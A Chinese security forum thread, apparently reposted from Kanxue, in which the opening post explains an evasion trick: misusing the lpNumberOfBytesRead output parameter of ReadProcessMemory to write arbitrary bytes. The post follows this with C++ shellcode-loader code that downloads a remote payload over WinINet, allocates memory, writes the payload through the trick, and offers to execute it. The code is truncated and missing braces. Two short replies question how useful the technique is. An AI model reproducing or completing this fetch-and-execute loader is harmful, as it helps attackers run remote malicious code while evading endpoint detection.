论坛首页 安全编程开发区 阅读主题

使用ReadProcessMemory写入内存

467 浏览 2 回复
#1 楼主 2026-06-01 21:08:59
为什么 ReadProcessMemory 能写内存?原理解释ReadProcessMemory 的函数签名:BOOL ReadProcessMemory(
HANDLE  hProcess,
LPCVOID lpBaseAddress,
LPVOID  lpBuffer,
SIZE_T  nSize,
SIZE_T  *lpNumberOfBytesRead  // 《---关键参数
);正常用途:lpNumberOfBytesRead 是一个输出参数,用于存储实际读取的字节数Windows 会将读取的字节数写入到这个指针指向的地址将 lpNumberOfBytesRead 指向目标内存地址SIZE_T* writeTarget = reinterpret_cast<SIZE_T*>(memoryAlloc + i);通过SIZE_T nsize = sourceBytes[i];  // 这个值会被写入lpNumberOfBytesReadWindows API 会自动将 nSize 的值写入 writeTarget 指向的地址ReadProcessMemory 内部会执行:*lpNumberOfBytesRead = nSize示例写入字节 0x90(NOP指令):ReadProcessMemory(
currentProcess,
memoryAlloc,
dummyBuffer,
0x90,//写入的值
(SIZE_T*)(target)  // 写入的目标地址
最后我用AI转rust源码为CPP版本 如下#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <string>

#pragma comment(lib, "wininet.lib")

// 详细输出处理函数
void verboseHandler(bool verbose, const std::string& msg, const std::string& type) {
    if (!verbose) return;

    if (type == "info") std::cout << "[i] " << msg << std::endl;
    else if (type == "warning") std::cout << "[!] " << msg << std::endl;
    else if (type == "success") std::cout << "[+] " << msg << std::endl;
    else if (type == "error") std::cout << "[-] " << msg << std::endl;
    else std::cout << "[*] " << msg << std::endl;

// 下载远程payload
std::vector<BYTE> downloadPayload(const std::string& url, bool verbose) {
    std::vector<BYTE> result;
    HINTERNET hInternet = InternetOpenA("Downloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet) return result;

    HINTERNET hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect) {
        BYTE buffer[4096];
        DWORD bytesRead;
        while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
            result.insert(result.end(), buffer, buffer + bytesRead);
        InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    verboseHandler(verbose, "Total bytes downloaded: " + std::to_string(result.size()), "success");
    return result;

// 间接内存分配和写入
void indirectMemoryAllocation(const std::vector<BYTE>& injectData, bool executePayload, bool verbose) {
    size_t dataSize = injectData.size();
    std::vector<BYTE> dummyBuffer(2, 0);

    // 分配内存
    LPVOID memoryAlloc = VirtualAlloc(
        NULL,
        dataSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE

    if (memoryAlloc == NULL) {
        verboseHandler(verbose, "Memory allocation failed", "error");
        return;

    verboseHandler(verbose, "Memory offset reserved (hex): 0x" +
        std::to_string(reinterpret_cast<uintptr_t>(memoryAlloc)), "info");
    verboseHandler(verbose, "Memory allocated", "success");

    // 获取当前进程句柄
    HANDLE currentProcess = GetCurrentProcess();
    const BYTE* sourceBytes = injectData.data();

    verboseHandler(verbose, "Writing...",

...(已截断)

---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-289432.htm
#2 2026-06-01 21:08:59
意思在哪?只能在当前进程使用,和直接复制有啥区别
#3 2026-06-01 21:08:59
人才, 这也被你利用起来了

请登录后参与讨论

立即登录 注册账号